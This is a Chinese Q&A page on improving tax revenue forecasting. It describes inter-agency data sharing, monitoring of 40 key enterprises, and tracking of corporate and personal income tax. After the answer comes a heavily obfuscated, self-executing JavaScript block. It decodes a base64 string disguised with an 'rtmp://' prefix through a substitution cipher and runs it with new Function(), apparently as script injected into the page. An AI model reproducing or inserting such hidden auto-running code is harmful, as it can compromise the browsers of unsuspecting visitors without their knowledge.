怎样做好税收预测工作

2025-03-15 15:14:51
推荐回答(1个)
回答1:

把强化税收预测作为抓好组织收入的有效手段,并按照“税源监控、税收分析、税收预测”三位一体的工作思路,四措并举,税收预测准确率稳步提升。

一是加强内部统筹。建立横向协作机制,由收入规划部门牵头,税政、征管、督审、风险监控等业务部门及时提供经济运行、政策效应、税收征管等情况及数据,共同分析研判收入形势;建立纵向联动机制,各征收主体建立收入预测信息定期报送机制,要求重大税源变化第一时间上报,将收入预测纳入绩效考核,共同应对预测工作压力。
二是强化外部沟通。主动与财政部门对接,了解月度组织收入建议;加强与国税部门联系,及时获取不动产开票、增值税及消费税预测信息,做好土地增值税、城建税、教育费附加等收入预测分析;加强与人行联系,及时掌握各类税收进退库情况,提高税收预测精度。
三是监控重点税源。对40户规模骨干企业(集团)按年、季、月份分别进行重点监控,既要了解企业生产经营预期,做好长期税源情况的判断,又要及时掌握企业月度销售利润情况,并跟踪监控税款申报入库,不断修正税收预测数据。
四是抓住重点税种。针对两个所得税收入月度波动较大且是中央地方共享税的特点,筛选2016年度入库企业所得税100万元以上企业及个人所得税100万元以上户企业对两个所得税按月进行重点监控,充分考虑申报期限月度和季度的口径、企业所得税预缴和汇缴的时间节点、个人所得税年所得12万元以上自行申报等各项因素,合理确定收入增长预期。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();